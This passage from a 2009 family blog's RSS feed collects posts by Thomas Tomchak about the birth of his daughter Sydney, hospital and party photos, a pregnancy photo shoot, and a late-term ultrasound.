		<guid isPermaLink="false">http://tomchak.com/blog/?p=2164</guid>
		<description><![CDATA[It&#8217;s been busy around the Tomchak household. We still have not found that balance/rhythm yet but we&#8217;re getting there.
This is a short video that Brenda took on her phone one of the last days in the hospital. So far my favorite thing about Sydney is how she just stares at you, like you&#8217;re the most [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">It&#8217;s been busy around the Tomchak household. We still have not found that balance/rhythm yet but we&#8217;re getting there.</p>
<p style="text-align: left;">This is a short video that Brenda took on her phone one of the last days in the hospital. So far my favorite thing about Sydney is how she just stares at you, like you&#8217;re the most interesting person in the room. It&#8217;s very cute.</p>
<p style="text-align: left;">This is not the most interesting video, but it&#8217;s what I have at the moment.</p>
<p style="text-align: center;">[See post to watch QuickTime movie]
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/12/04/pov-of-sydney/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/12/04/pov-of-sydney/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My Ladies are Coming Home</title>
		<link>http://tomchak.com/blog/2009/11/30/my-ladies-are-coming-home/</link>
		<comments>http://tomchak.com/blog/2009/11/30/my-ladies-are-coming-home/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 00:19:48 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Brenda]]></category>
		<category><![CDATA[Hospital]]></category>
		<category><![CDATA[Kurt]]></category>
		<category><![CDATA[Max]]></category>
		<category><![CDATA[Sydney]]></category>
		<category><![CDATA[Trina]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2156</guid>
		<description><![CDATA[Brenda and Sydney will be coming home tomorrow afternoon. That works out well with the boys being in pre-school so we should have an easy time transitioning. More photos can be found on SmugMug.




]]></description>
			<content:encoded><![CDATA[<p>Brenda and Sydney will be coming home tomorrow afternoon. That works out well with the boys being in pre-school so we should have an easy time transitioning. More photos can be found on <a href="http://tomchak.smugmug.com/Family/2009-1130-Sydney-Hospital/10493712_RGAjF#728279228_PEpKF" target="_blank">SmugMug</a>.</p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-29_img_2001.jpg"><img class="aligncenter size-medium wp-image-2157" title="2009-11-29_img_2001" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-29_img_2001-600x400.jpg" alt="2009-11-29_img_2001" width="600" height="400" /></a></p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-29_img_2008.jpg"><img class="aligncenter size-medium wp-image-2158" title="2009-11-29_img_2008" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-29_img_2008-600x400.jpg" alt="2009-11-29_img_2008" width="600" height="400" /></a></p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-29_img_2037.jpg"><img class="aligncenter size-medium wp-image-2159" title="2009-11-29_img_2037" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-29_img_2037-600x400.jpg" alt="2009-11-29_img_2037" width="600" height="400" /></a></p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-29_img_2040.jpg"><img class="aligncenter size-medium wp-image-2160" title="2009-11-29_img_2040" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-29_img_2040-600x400.jpg" alt="2009-11-29_img_2040" width="600" height="400" /></a></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/11/30/my-ladies-are-coming-home/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/11/30/my-ladies-are-coming-home/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sydney Photos</title>
		<link>http://tomchak.com/blog/2009/11/28/sydney-photos/</link>
		<comments>http://tomchak.com/blog/2009/11/28/sydney-photos/#comments</comments>
		<pubDate>Sun, 29 Nov 2009 00:49:10 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Sydney]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2146</guid>
		<description><![CDATA[A few quick photos of Sydney, taken by our friend Mike Younger. More to come later in the week when I&#8217;m able to catch my breath. I&#8217;m exhausted and all I&#8217;m doing is taking care of the boys!






]]></description>
			<content:encoded><![CDATA[<p>A few quick photos of Sydney, taken by our friend Mike Younger. More to come later in the week when I&#8217;m able to catch my breath. I&#8217;m exhausted and all I&#8217;m doing is taking care of the boys!</p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/tomchak-76.jpg"><img class="aligncenter size-medium wp-image-2147" title="tomchak-76" src="http://tomchak.com/blog/wp-content/uploads/2009/11/tomchak-76-600x399.jpg" alt="tomchak-76" width="600" height="399" /></a></p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/tomchak-133.jpg"><img class="aligncenter size-medium wp-image-2149" title="tomchak-133" src="http://tomchak.com/blog/wp-content/uploads/2009/11/tomchak-133-600x399.jpg" alt="tomchak-133" width="600" height="399" /></a></p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/tomchak-117.jpg"><img class="aligncenter size-medium wp-image-2148" title="tomchak-117" src="http://tomchak.com/blog/wp-content/uploads/2009/11/tomchak-117-600x399.jpg" alt="tomchak-117" width="600" height="399" /></a></p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/tomchak-151.jpg"><img class="aligncenter size-medium wp-image-2150" title="tomchak-151" src="http://tomchak.com/blog/wp-content/uploads/2009/11/tomchak-151-600x399.jpg" alt="tomchak-151" width="600" height="399" /></a></p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/tomchak-160.jpg"><img class="aligncenter size-medium wp-image-2151" title="tomchak-160" src="http://tomchak.com/blog/wp-content/uploads/2009/11/tomchak-160-600x399.jpg" alt="tomchak-160" width="600" height="399" /></a></p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/tomchak-172.jpg"><img class="aligncenter size-medium wp-image-2152" title="tomchak-172" src="http://tomchak.com/blog/wp-content/uploads/2009/11/tomchak-172-600x399.jpg" alt="tomchak-172" width="600" height="399" /></a></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/11/28/sydney-photos/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/11/28/sydney-photos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Welcome Baby Girl &#8211; We&#8217;ve Been Waiting for You</title>
		<link>http://tomchak.com/blog/2009/11/27/welcome-baby-girl-weve-been-waiting-for-you/</link>
		<comments>http://tomchak.com/blog/2009/11/27/welcome-baby-girl-weve-been-waiting-for-you/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 18:00:34 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Video Post]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[#3]]></category>
		<category><![CDATA[New Baby Girl]]></category>
		<category><![CDATA[Sydney]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1988</guid>
		<description><![CDATA[
It&#8217;s with great pleasure and joy in my heart that I introduce to you our newest special gem.
Sydney Etheena Tomchak 
Sydney joined us in the outside world at 9:43am this morning (November 27th 2009), and weighs in at a healthy 7 lbs, 4 oz. and measures 20.75 inches. Mom and baby are doing fine and [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/mobile-photo-nov-27-2009-1-49-52-pm.jpg"><img class="aligncenter size-medium wp-image-2137" title="mobile-photo-nov-27-2009-1-49-52-pm" src="http://tomchak.com/blog/wp-content/uploads/2009/10/mobile-photo-nov-27-2009-1-49-52-pm-600x450.jpg" alt="mobile-photo-nov-27-2009-1-49-52-pm" width="600" height="450" /></a></p>
<p style="clear: both">It&#8217;s with great pleasure and joy in my heart that I introduce to you our newest special gem.</p>
<h2><!--StartFragment--><span style="font-family: Verdana, Helvetica, Arial;"><span>Sydney Etheena Tomchak</span></span> <!--EndFragment--></h2>
<p style="clear: both">Sydney joined us in the outside world at 9:43am this morning (November 27th 2009), and weighs in at a healthy 7 lbs, 4 oz. and measures 20.75 inches. Mom and baby are doing fine and Brenda is now in her room resting up.</p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/mobile-photo-nov-27-2009-1-50-31-pm.jpg"><img class="aligncenter size-medium wp-image-2138" title="mobile-photo-nov-27-2009-1-50-31-pm" src="http://tomchak.com/blog/wp-content/uploads/2009/10/mobile-photo-nov-27-2009-1-50-31-pm-600x450.jpg" alt="mobile-photo-nov-27-2009-1-50-31-pm" width="600" height="450" /></a></p>
<p style="clear: both">We&#8217;ve known since the beginning (even before the boys) that if we did have a girl, some part of the name would be Etheena, named after Brenda&#8217;s oldest sister Tina who passed away in 2004. Tina&#8217;s legal name was Etheena, but friends and family called her Tina for short. The first name is a name that we both really liked after many weeks of throwing names at each other like darts. It was not unusual to just walk into the room and yell out a name, and the other person automatically knew what you were &#8220;asking&#8221;.</p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/mobile-photo-nov-27-2009-1-53-25-pm.jpg"><img class="aligncenter size-medium wp-image-2139" title="mobile-photo-nov-27-2009-1-53-25-pm" src="http://tomchak.com/blog/wp-content/uploads/2009/10/mobile-photo-nov-27-2009-1-53-25-pm-600x450.jpg" alt="mobile-photo-nov-27-2009-1-53-25-pm" width="600" height="450" /></a></p>
<p style="clear: both">While it&#8217;s true that we would have been happy with a boy or girl, we&#8217;re extra happy that we have a girl to round out our family. I&#8217;ve said right from the beginning that I really wanted to have a &#8220;Mini-Brenda&#8221;.  And I know how happy Brenda is that she now has a little girl to go shopping with and do all of the girl things that she misses out on with the boys.</p>
<p style="clear: both">Speaking of shopping, we have a little confession to make. We&#8217;ve known from the 20 week mark that we were having a girl, but decided to keep it a surprise for everybody else. We just couldn&#8217;t wait to find out this time &#8211; we were both pretty confident that it was going to be a girl. The day that we found out, we actually went shopping at the mall and Brenda bought her the first outfit. See the video below for our documented trip.</p>
<p style="clear: both">
[See post to watch QuickTime movie]
<p style="clear: both">We have been in love with her for awhile now, so it&#8217;s nice to finally meet her!</p>
<p style="clear: both">More updates and plenty of photos in the days to come.</p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/11/27/welcome-baby-girl-weve-been-waiting-for-you/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/11/27/welcome-baby-girl-weve-been-waiting-for-you/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Baby Countdown</title>
		<link>http://tomchak.com/blog/2009/11/26/14-days-and-counting/</link>
		<comments>http://tomchak.com/blog/2009/11/26/14-days-and-counting/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 02:00:27 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Countdown]]></category>
		<category><![CDATA[New Baby]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2102</guid>
		<description><![CDATA[

Birth time is scheduled for Friday November 27th at 8:50 am.
Tune in here for live updates Friday morning.
]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><object width="425" height="319" data="https://qik.com/swfs/qikPlayer5.swf" type="application/x-shockwave-flash"><param name="id" value="qikPlayer" /><param name="align" value="middle" /><param name="allowScriptAccess" value="sameDomain" /><param name="allowFullScreen" value="true" /><param name="quality" value="high" /><param name="bgcolor" value="#333333" /><param name="FlashVars" value="rssURL=https://qik.com/tomchak/latest-videos&amp;autoPlay=false&amp;pollingUrl=https://qik.com/videos/latest/tomchak&amp;polling=true" /><param name="src" value="https://qik.com/swfs/qikPlayer5.swf" /><param name="name" value="qikPlayer" /><param name="flashvars" value="rssURL=https://qik.com/tomchak/latest-videos&amp;autoPlay=false&amp;pollingUrl=https://qik.com/videos/latest/tomchak&amp;polling=true" /><param name="allowfullscreen" value="true" /></object></p>
<p style="text-align: center;"><object width="600" height="150" data="http://countdownpage.createyourcountdown.com/countdown.swf?filename=f6185f0ef02dcaec414a3171cd01c697_4578" type="application/x-shockwave-flash"><param name="id" value="countdown" /><param name="allowScriptAccess" value="sameDomain" /><param name="quality" value="high" /><param name="wmode" value="transparent" /><param name="src" value="http://countdownpage.createyourcountdown.com/countdown.swf?filename=f6185f0ef02dcaec414a3171cd01c697_4578" /><param name="name" value="countdown" /><param name="allowfullscreen" value="false" /></object></p>
<h3 style="text-align: center;">Birth time is scheduled for Friday November 27th at 8:50 am.</h3>
<h3 style="text-align: center;">Tune in here for live updates Friday morning.</h3>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/11/26/14-days-and-counting/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/11/26/14-days-and-counting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Giving Thanks &#8211; For Crazy Siblings</title>
		<link>http://tomchak.com/blog/2009/11/26/giving-thanks-for-crazy-siblings/</link>
		<comments>http://tomchak.com/blog/2009/11/26/giving-thanks-for-crazy-siblings/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 17:00:23 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[iPhone]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2128</guid>
		<description><![CDATA[My sister Dawn, who couldn&#8217;t make the trip from Detroit for the birth of #3, sent along a care package for the family. It includes a variety of interesting and useful items for all of us.
Most notably, she thought she would help with the &#8220;timing&#8221; of any future children, since the timing of this one [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_2129" class="wp-caption aligncenter" style="width: 610px"><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/mobile-photo-nov-26-2009-10-44-28-am.jpg"><img class="size-medium wp-image-2129" title="mobile-photo-nov-26-2009-10-44-28-am" src="http://tomchak.com/blog/wp-content/uploads/2009/11/mobile-photo-nov-26-2009-10-44-28-am-600x450.jpg" alt="Click on the image to get a more detailed look." width="600" height="450" /></a><p class="wp-caption-text">Click on the image to get a more detailed look.</p></div>
<p>My sister Dawn, who couldn&#8217;t make the trip from Detroit for the birth of #3, sent along a care package for the family. It includes a variety of interesting and useful items for all of us.</p>
<p>Most notably, she thought she would help with the &#8220;timing&#8221; of any future children, since the timing of this one was not totally of our choosing.</p>
<div id="attachment_2130" class="wp-caption aligncenter" style="width: 610px"><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/mobile-photo-nov-26-2009-10-46-48-am.jpg"><img class="size-medium wp-image-2130" title="mobile-photo-nov-26-2009-10-46-48-am" src="http://tomchak.com/blog/wp-content/uploads/2009/11/mobile-photo-nov-26-2009-10-46-48-am-600x450.jpg" alt="mobile-photo-nov-26-2009-10-46-48-am" width="600" height="450" /></a><p class="wp-caption-text">Kind of a conflicting message here. </p></div>
<p style="text-align: center;">
<p>Thanks Dawn. I love you baby sister.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/11/26/giving-thanks-for-crazy-siblings/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/11/26/giving-thanks-for-crazy-siblings/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trina&#8217;s Surprise Birthday Party</title>
		<link>http://tomchak.com/blog/2009/11/12/trinas-surprise-birthday-party/</link>
		<comments>http://tomchak.com/blog/2009/11/12/trinas-surprise-birthday-party/#comments</comments>
		<pubDate>Thu, 12 Nov 2009 18:34:04 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Birthday Party]]></category>
		<category><![CDATA[Trina]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2091</guid>
		<description><![CDATA[This past Saturday family and friends celebrated Trina&#8217;s 50th birthday at a local bar in Elgin. The best part was that it was a total surprise to Trina until the moment she walked into the bar. Below are a few photos, but there are WAY more on SmugMug.






]]></description>
			<content:encoded><![CDATA[<p>This past Saturday family and friends celebrated Trina&#8217;s 50th birthday at a local bar in Elgin. The best part was that it was a total surprise to Trina until the moment she walked into the bar. Below are a few photos, but there are WAY more on <a href="http://tomchak.smugmug.com/Family/2009-1107-Trinas-50th-Birthday/10291695_5ZETX#711241106_pt9XY" target="_blank">SmugMug</a>.</p>
<p><img class="aligncenter size-medium wp-image-2093" title="2009-11-07_img_1595" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_1595-600x400.jpg" alt="2009-11-07_img_1595" width="600" height="400" /></p>
<p><img class="aligncenter size-medium wp-image-2097" title="2009-11-07_img_1687" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_1687-600x400.jpg" alt="2009-11-07_img_1687" width="600" height="400" /></p>
<p><img class="aligncenter size-medium wp-image-2096" title="2009-11-07_img_1675" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_1675-600x400.jpg" alt="2009-11-07_img_1675" width="600" height="400" /></p>
<p><img class="aligncenter size-medium wp-image-2095" title="2009-11-07_img_1631" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_1631-600x400.jpg" alt="2009-11-07_img_1631" width="600" height="400" /></p>
<p><img class="aligncenter size-medium wp-image-2094" title="2009-11-07_img_1619" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_1619-600x400.jpg" alt="2009-11-07_img_1619" width="600" height="400" /></p>
<p><img class="aligncenter size-medium wp-image-2098" title="2009-11-07_img_1740" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_1740-600x400.jpg" alt="2009-11-07_img_1740" width="600" height="400" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/11/12/trinas-surprise-birthday-party/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/11/12/trinas-surprise-birthday-party/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Some Weekend Photos</title>
		<link>http://tomchak.com/blog/2009/11/09/some-weekend-photos/</link>
		<comments>http://tomchak.com/blog/2009/11/09/some-weekend-photos/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 00:52:45 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Andrew]]></category>
		<category><![CDATA[Apple Store]]></category>
		<category><![CDATA[Good Times]]></category>
		<category><![CDATA[Max]]></category>
		<category><![CDATA[Whole Foods]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2079</guid>
		<description><![CDATA[Brenda had a &#8220;day with the girls&#8221; on Saturday, so I had a &#8220;day with the little men&#8221;. We went to the mall, spent way too long at the Apple Store trying to get an issue with my laptop resolved, and then went to Whole Foods. They were a lot of fun and kept me [...]]]></description>
			<content:encoded><![CDATA[<p>Brenda had a &#8220;day with the girls&#8221; on Saturday, so I had a &#8220;day with the little men&#8221;. We went to the mall, spent way too long at the Apple Store trying to get an issue with my laptop resolved, and then went to Whole Foods. They were a lot of fun and kept me laughing all day. The photos were taken with my iPhone throughout the day.</p>
<p style="text-align: center;"><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_0714.jpg"><img class="size-medium wp-image-2081 aligncenter" title="2009-11-07_img_0714" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_0714-600x450.jpg" alt="2009-11-07_img_0714" width="600" height="450" /></a></p>
<p style="text-align: center;"><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_0719.jpg"><img class="size-medium wp-image-2084 aligncenter" title="2009-11-07_img_0719" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_0719-600x450.jpg" alt="2009-11-07_img_0719" width="600" height="450" /></a></p>
<p style="text-align: center;"><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_0718.jpg"><img class="size-medium wp-image-2083 aligncenter" title="2009-11-07_img_0718" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_0718-600x450.jpg" alt="2009-11-07_img_0718" width="600" height="450" /></a></p>
<p style="text-align: center;"><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_0715.jpg"><img class="size-medium wp-image-2082 aligncenter" title="2009-11-07_img_0715" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_0715-600x450.jpg" alt="2009-11-07_img_0715" width="600" height="450" /></a></p>
<p style="text-align: center;"><a href="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_0714.jpg"><img class="size-medium wp-image-2081 aligncenter" title="2009-11-07_img_0714" src="http://tomchak.com/blog/wp-content/uploads/2009/11/2009-11-07_img_0714-600x450.jpg" alt="2009-11-07_img_0714" width="600" height="450" /></a></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/11/09/some-weekend-photos/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/11/09/some-weekend-photos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Halloween &#8211; Things 1 through 3</title>
		<link>http://tomchak.com/blog/2009/11/01/halloween-things-1-through-3/</link>
		<comments>http://tomchak.com/blog/2009/11/01/halloween-things-1-through-3/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 01:55:52 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Andrew]]></category>
		<category><![CDATA[Brenda]]></category>
		<category><![CDATA[Max]]></category>
		<category><![CDATA[Thing1]]></category>
		<category><![CDATA[Thing2]]></category>
		<category><![CDATA[Thing3]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/11/01/halloween-things-1-through-3/</guid>
		<description><![CDATA[

]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/11/img-1118.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/11/img-1118-thumb.jpg" alt="" width="600" height="423" /></a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/11/01/halloween-things-1-through-3/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/11/01/halloween-things-1-through-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Just 4 More Weeks from Today!</title>
		<link>http://tomchak.com/blog/2009/10/30/just-4-more-weeks-from-today/</link>
		<comments>http://tomchak.com/blog/2009/10/30/just-4-more-weeks-from-today/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 06:01:38 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Brenda]]></category>
		<category><![CDATA[Number 3]]></category>
		<category><![CDATA[Pregnancy]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2036</guid>
		<description><![CDATA[It&#8217;s probably no surprise to anybody that women do not usually feel like they &#8220;look their best&#8221; once they&#8217;re coming down the final stretch of their pregnancy. They&#8217;re tired with lots of mysterious unexpected pains, and usually have trouble getting a good nights sleep. So, they&#8217;re not usually that open to the question, &#8220;Hey, can [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-27-img-1475-full.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-27-img-1475-thumb1.jpg" alt="" width="415" height="599" /></a>It&#8217;s probably no surprise to anybody that women do not usually feel like they &#8220;look their best&#8221; once they&#8217;re coming down the final stretch of their pregnancy. They&#8217;re tired with lots of mysterious unexpected pains, and usually have trouble getting a good nights sleep. So, they&#8217;re not usually that open to the question, &#8220;Hey, can I take a photo of you and your belly?&#8221;.Or, &#8220;Hey&#8230; I just purchased a new wide angle lens and would love to try it out on you.&#8221;.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-27-img-1478.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-27-img-1478-thumb1.jpg" alt="" width="413" height="596" /></a>But, I would argue that pregnancy can be very beautiful even if you don&#8217;t feel beautiful. After all, it is the miracle of life that&#8217;s being created. Pregnant women often have a glow to them that&#8217;s quite beautiful. I&#8217;ve seen this in Brenda, and what&#8217;s funny is when I&#8217;ve complemented her on it she&#8217;s always shocked.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-27-img-1479.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-27-img-1479-thumb1.jpg" alt="" width="413" height="596" /></a>Recently I had an idea of how to shoot a photo of Brenda, making it very clear that she&#8217;s pregnant, but in a more artistic way. Let&#8217;s say, to try and capture the beauty instead of focus on the discomfort of her condition. I got the idea from another photo I had seen recently in an ad that I really liked. What I did was a bit different, but inspired by that photo. I also captured a few candid moments along the way.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-27-img-1483.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-27-img-1483-thumb1.jpg" alt="" width="497" height="600" /></a>On Tuesday of this week I took the day off of work, and as soon as the boys were dropped off at daycare I cleared out the living room and setup a small studio to capture my &#8220;artistic vision&#8221;.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-27-img-1490.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-27-img-1490-thumb1.jpg" alt="" width="478" height="600" /></a>So with permission from the mother to be, here are the only photos that I liked in the bunch. It was a bit of an experiment for me so I took a lot of really bad photos before I ended up with a few that I actually liked. And while they fell a bit short of what I wanted, I&#8217;m still pleased with how they came out. After all, photography is all about trial and error and learning as you go.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-27-img-1494.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-10-27-img-1494-thumb1.jpg" alt="" width="600" height="400" /></a>The photos in black and white are the ones I planned on doing. The ones in color were a last minute thought based on where the couch had been moved and the light coming in at the time. Looking at them I already know what I&#8217;ll do different next time to improve on the look.</p>
<p style="clear: both">I hope you enjoy them. I think in years to come we will be very glad that we did this.</p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/10/30/just-4-more-weeks-from-today/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/10/30/just-4-more-weeks-from-today/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>35 Week Ultrasound Today</title>
		<link>http://tomchak.com/blog/2009/10/29/35-week-ultrasound-today/</link>
		<comments>http://tomchak.com/blog/2009/10/29/35-week-ultrasound-today/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 17:55:22 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Brenda]]></category>
		<category><![CDATA[Ultrasound]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2071</guid>
		<description><![CDATA[This morning we had our 35 week ultrasound, and all checked out perfectly. 
The baby is now 5 lbs 12 ounces, head is down and all of the body measurements were normal. The baby is also moving a lot more as time goes on. Brenda said a lot more then with the twins (probably because [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-1029-ultrasound-select.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/10/2009-1029-ultrasound-select-thumb.jpg" height="451" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>This morning we had our 35 week ultrasound, and all checked out perfectly. </p>
<p style="clear: both">The baby is now 5 lbs 12 ounces, head is down and all of the body measurements were normal. The baby is also moving a lot more as time goes on. Brenda said a lot more then with the twins (probably because they didn&#8217;t have all that much space). </p>
<p style="clear: both">If the baby grows at the usual half pound per week, the birth weight should be between 7 and 8 lbs. </p>
<p style="clear: both">We&#8217;re getting excited! I have a feeling the next few weeks will go by fast. We can&#8217;t wait to meet our little guy/girl!</p>
<p style="clear: both">
